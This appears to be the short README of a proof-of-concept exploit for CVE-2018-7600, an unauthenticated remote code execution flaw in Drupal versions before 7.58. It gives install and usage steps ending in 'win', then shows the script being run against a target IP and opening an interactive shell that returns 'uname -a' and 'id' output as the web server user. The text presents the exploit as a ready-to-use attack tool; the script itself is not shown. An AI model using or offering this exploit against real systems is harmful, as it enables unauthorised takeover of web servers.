CVE-2018-7600
CVE-2018-7600 - Drupal 7.x RCE
Drupal < 7.58 unauthenticated RCE
Requirements
- python3
- python requests (pip install requests)
Usage
- Install dependencies
- provide target as argument to the script
- run the code
- win
Just install requests (pip install requests), edit the file to change the host and run the exploit:
./poc.py http://192.168.100.123
Connected to http://192.168.100.123
Ctrl-C to quit
> uname -a
Linux 66af71eab6d9 4.9.60-linuxkit-aufs #1 SMP Mon Nov 6 16:00:12 UTC 2017 x86_64 GNU/Linux
> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)